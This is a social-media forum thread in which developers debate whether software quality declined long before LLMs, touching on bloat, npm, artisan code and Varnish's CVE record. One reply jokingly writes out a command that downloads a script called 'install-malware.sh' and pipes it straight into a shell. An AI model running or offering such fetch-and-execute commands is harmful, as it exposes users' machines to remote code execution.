Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (Cyborg)
  • No Skin
Collapse
Brand Logo

CIRCLE WITH A DOT

  1. Home
  2. Uncategorized
  3. Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake.

Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake.

Scheduled Pinned Locked Moved Uncategorized
29 Posts 21 Posters 1 Views
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

    Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

    partim@social.tchncs.deP This user is from outside of this forum
    partim@social.tchncs.deP This user is from outside of this forum
    partim@social.tchncs.de
    wrote last edited by
    #5

    @bert_hubert Dunno. We complained about poorly flung together software back in the nineties. There might be more of it now, but there also is much much more software now.

    Similarly, people complain that they can’t find a plumber who cares. Maybe software is just a regular craft now?

    abhayakara@mastodon.nlA 1 Reply Last reply
    0
    • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

      Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

      ainmosni@social.ainmosni.euA This user is from outside of this forum
      ainmosni@social.ainmosni.euA This user is from outside of this forum
      ainmosni@social.ainmosni.eu
      wrote last edited by
      #6

      @bert_hubert You are not wrong, in many ways, this is a natural result of the "race to the bottom" that software has been put on by the "move fast and break things" mentality it got from Silicon Valley.

      That said, this accelerates it in such a way, that I have the feeling that we might finally hit rock bottom.

      Also, I wish more people acknowledged the ethical hell that LLMs represent in code, but I guess not enough people in software care about ethics for that to really make a difference.

      abhayakara@mastodon.nlA 1 Reply Last reply
      0
      • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

        Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

        regularlabs@fosstodon.orgR This user is from outside of this forum
        regularlabs@fosstodon.orgR This user is from outside of this forum
        regularlabs@fosstodon.org
        wrote last edited by
        #7

        @bert_hubert I think (internet) speed and "unlimited" storage have been a major factor of code quality.
        You don't get punished (enough) for writing wet or sub-optimal code.
        Reminiscing about the days when entire games and software packages fit on a floppy disk. And when we made websites under 20KB (including images).

        D 1 Reply Last reply
        0
        • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

          Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

          photovince@mastodon.socialP This user is from outside of this forum
          photovince@mastodon.socialP This user is from outside of this forum
          photovince@mastodon.social
          wrote last edited by
          #8

          @bert_hubert @bagder @hyc @vitaut I would be tempted to read it

          1 Reply Last reply
          0
          • regularlabs@fosstodon.orgR regularlabs@fosstodon.org

            @bert_hubert I think (internet) speed and "unlimited" storage have been a major factor of code quality.
            You don't get punished (enough) for writing wet or sub-optimal code.
            Reminiscing about the days when entire games and software packages fit on a floppy disk. And when we made websites under 20KB (including images).

            D This user is from outside of this forum
            D This user is from outside of this forum
            davidbe@mastodon-belgium.be
            wrote last edited by
            #9

            @regularlabs @bert_hubert Exactly! Developers should develop on/for 10 year old hardware. If it doesn't run smootly, it is badly written or bloated.

            1 Reply Last reply
            0
            • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

              Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

              photovince@mastodon.socialP This user is from outside of this forum
              photovince@mastodon.socialP This user is from outside of this forum
              photovince@mastodon.social
              wrote last edited by
              #10

              @bert_hubert

              Tired: LLMs for ‘vibe coding’
              Wired: AI for zero day hunting ?

              Wouldn’t mind the as-yet-virtual post to touch that. Testing is software engineering too, and ripe for more automation

              Link Preview Image
              Anthropic Claude Opus AI model discovers 22 Firefox bugs

              Anthropic used Claude Opus 4.6 to identify 22 Firefox flaws, most of which were high severity, all of which were fixed in Firefox 148.

              favicon

              Security Affairs (securityaffairs.com)

              1 Reply Last reply
              0
              • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

                Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

                steelman@mstdn.ioS This user is from outside of this forum
                steelman@mstdn.ioS This user is from outside of this forum
                steelman@mstdn.io
                wrote last edited by
                #11

                @bert_hubert do it.

                Link Preview Image
                1 Reply Last reply
                0
                • ainmosni@social.ainmosni.euA ainmosni@social.ainmosni.eu

                  @bert_hubert You are not wrong, in many ways, this is a natural result of the "race to the bottom" that software has been put on by the "move fast and break things" mentality it got from Silicon Valley.

                  That said, this accelerates it in such a way, that I have the feeling that we might finally hit rock bottom.

                  Also, I wish more people acknowledged the ethical hell that LLMs represent in code, but I guess not enough people in software care about ethics for that to really make a difference.

                  abhayakara@mastodon.nlA This user is from outside of this forum
                  abhayakara@mastodon.nlA This user is from outside of this forum
                  abhayakara@mastodon.nl
                  wrote last edited by
                  #12

                  @ainmosni @bert_hubert

                  I feel like taking refuge in hitting rock bottom is the modern equivalent of imaging that the apocalypse is imminent so there's no point in trying to fix things (which I think is why armageddonism is so popular).

                  ainmosni@social.ainmosni.euA 1 Reply Last reply
                  0
                  • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

                    Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

                    bsdphk@fosstodon.orgB This user is from outside of this forum
                    bsdphk@fosstodon.orgB This user is from outside of this forum
                    bsdphk@fosstodon.org
                    wrote last edited by
                    #13

                    @bert_hubert @bagder @hyc @vitaut

                    When I started the Varnish Cache project, I explicitly tried to dial code quality up to 11, as an experiment to see if that was a feasible strategy.

                    With less than 20 CVE's in 20 years, I think we have given existence proof that "artisan code" is a valid way to produce high-consequence software (see also: sqlite)

                    But at the same time, we are very far from "install and forget" when you have to patch once a year.

                    bsdphk@fosstodon.orgB 1 Reply Last reply
                    1
                    0
                    • partim@social.tchncs.deP partim@social.tchncs.de

                      @bert_hubert Dunno. We complained about poorly flung together software back in the nineties. There might be more of it now, but there also is much much more software now.

                      Similarly, people complain that they can’t find a plumber who cares. Maybe software is just a regular craft now?

                      abhayakara@mastodon.nlA This user is from outside of this forum
                      abhayakara@mastodon.nlA This user is from outside of this forum
                      abhayakara@mastodon.nl
                      wrote last edited by
                      #14

                      @partim @bert_hubert

                      Did we have npm in the nineties? I think that's an example of what Bert is pointing to. We were certainly moving in that direction, but the days of "wget http://www.trustme.org/install-malware.sh |sh" hadn't really come yet.

                      partim@social.tchncs.deP 1 Reply Last reply
                      0
                      • abhayakara@mastodon.nlA abhayakara@mastodon.nl

                        @ainmosni @bert_hubert

                        I feel like taking refuge in hitting rock bottom is the modern equivalent of imaging that the apocalypse is imminent so there's no point in trying to fix things (which I think is why armageddonism is so popular).

                        ainmosni@social.ainmosni.euA This user is from outside of this forum
                        ainmosni@social.ainmosni.euA This user is from outside of this forum
                        ainmosni@social.ainmosni.eu
                        wrote last edited by
                        #15

                        @abhayakara @bert_hubert Fair, although that is not my intention, I am fighting it, and trying to fix things, but that doesn't stop me from acknowledging that it feels more than a little quixotic.

                        abhayakara@mastodon.nlA 1 Reply Last reply
                        0
                        • bsdphk@fosstodon.orgB bsdphk@fosstodon.org

                          @bert_hubert @bagder @hyc @vitaut

                          When I started the Varnish Cache project, I explicitly tried to dial code quality up to 11, as an experiment to see if that was a feasible strategy.

                          With less than 20 CVE's in 20 years, I think we have given existence proof that "artisan code" is a valid way to produce high-consequence software (see also: sqlite)

                          But at the same time, we are very far from "install and forget" when you have to patch once a year.

                          bsdphk@fosstodon.orgB This user is from outside of this forum
                          bsdphk@fosstodon.orgB This user is from outside of this forum
                          bsdphk@fosstodon.org
                          wrote last edited by
                          #16

                          @bert_hubert @bagder @hyc @vitaut

                          The downside of having so few CVE's is that they are useless for statistics, which is why I'm so glad @bagder is doing it in #Curl

                          1 Reply Last reply
                          0
                          • ainmosni@social.ainmosni.euA ainmosni@social.ainmosni.eu

                            @abhayakara @bert_hubert Fair, although that is not my intention, I am fighting it, and trying to fix things, but that doesn't stop me from acknowledging that it feels more than a little quixotic.

                            abhayakara@mastodon.nlA This user is from outside of this forum
                            abhayakara@mastodon.nlA This user is from outside of this forum
                            abhayakara@mastodon.nl
                            wrote last edited by
                            #17

                            @ainmosni @bert_hubert

                            I hear you. I guess I'm arguing that imagining that this work is quixotic is unnecessarily self-deprecating. This work is essential. It's just that not everybody understands that yet. The future is here now, just not evenly distributed.

                            1 Reply Last reply
                            0
                            • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

                              Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

                              koos@mastodon.greenK This user is from outside of this forum
                              koos@mastodon.greenK This user is from outside of this forum
                              koos@mastodon.green
                              wrote last edited by
                              #18

                              @bert_hubert it rhymes with flooding the zone with shit. Billionaires win if users and product owners would stop expecting quality, because then there's no longer a point in becoming a good dev. In Silicon Valley they gave those folks at least a sense of ownership and pride. But now that is threatening their businesses. Because high performers can leave if they don't agree with the company politics. If poor quality is the norm, they can hire poor, mediocre devs who won't complain instead.

                              1 Reply Last reply
                              0
                              • abhayakara@mastodon.nlA abhayakara@mastodon.nl

                                @partim @bert_hubert

                                Did we have npm in the nineties? I think that's an example of what Bert is pointing to. We were certainly moving in that direction, but the days of "wget http://www.trustme.org/install-malware.sh |sh" hadn't really come yet.

                                partim@social.tchncs.deP This user is from outside of this forum
                                partim@social.tchncs.deP This user is from outside of this forum
                                partim@social.tchncs.de
                                wrote last edited by
                                #19

                                @abhayakara @bert_hubert But then, the early oughts were the heyday of email viruses and people slapping together snippets of PHP they found on the Internet without understanding what they did.

                                The groundwork for OpenSSL becoming somewhat problematic was laid during that time as well.

                                1 Reply Last reply
                                0
                                • doboprobodyne@mathstodon.xyzD This user is from outside of this forum
                                  doboprobodyne@mathstodon.xyzD This user is from outside of this forum
                                  doboprobodyne@mathstodon.xyz
                                  wrote last edited by
                                  #20

                                  @hweimer @bert_hubert
                                  #openBSD 😉

                                  1 Reply Last reply
                                  0
                                  • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

                                    Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

                                    elricofmelnibone@mastodon.socialE This user is from outside of this forum
                                    elricofmelnibone@mastodon.socialE This user is from outside of this forum
                                    elricofmelnibone@mastodon.social
                                    wrote last edited by
                                    #21

                                    @bert_hubert I can summarize the post and point the finger at the responsible party in one sentence: middle management ruined software development.

                                    jguillaumes@mastodont.catJ 1 Reply Last reply
                                    0
                                    • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

                                      Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

                                      di4na@hachyderm.ioD This user is from outside of this forum
                                      di4na@hachyderm.ioD This user is from outside of this forum
                                      di4na@hachyderm.io
                                      wrote last edited by
                                      #22

                                      @bert_hubert @bagder @hyc @vitaut I mean yes but mostly because the outcome don't matters...

                                      hyc@mastodon.socialH 1 Reply Last reply
                                      0
                                      • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

                                        Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

                                        mortonrobd@mas.toM This user is from outside of this forum
                                        mortonrobd@mas.toM This user is from outside of this forum
                                        mortonrobd@mas.to
                                        wrote last edited by
                                        #23

                                        @bert_hubert @bagder @hyc @vitaut
                                        In a similar vein. https://techtrenches.dev/p/the-great-software-quality-collapse

                                        jpetazzo@hachyderm.ioJ 1 Reply Last reply
                                        0
                                        • di4na@hachyderm.ioD di4na@hachyderm.io

                                          @bert_hubert @bagder @hyc @vitaut I mean yes but mostly because the outcome don't matters...

                                          hyc@mastodon.socialH This user is from outside of this forum
                                          hyc@mastodon.socialH This user is from outside of this forum
                                          hyc@mastodon.social
                                          wrote last edited by
                                          #24

                                          @Di4na @bert_hubert @bagder @vitaut if the outcome truly doesn't matter then it's probably software that didn't need to be written in the first place.

                                          di4na@hachyderm.ioD 1 Reply Last reply
                                          0
                                          Reply
                                          • Reply as topic
                                          Log in to reply
                                          • Oldest to Newest
                                          • Newest to Oldest
                                          • Most Votes


                                          • Login

                                          • Login or register to search.
                                          • First post
                                            Last post
                                          0
                                          • Categories
                                          • Recent
                                          • Tags
                                          • Popular
                                          • World
                                          • Users
                                          • Groups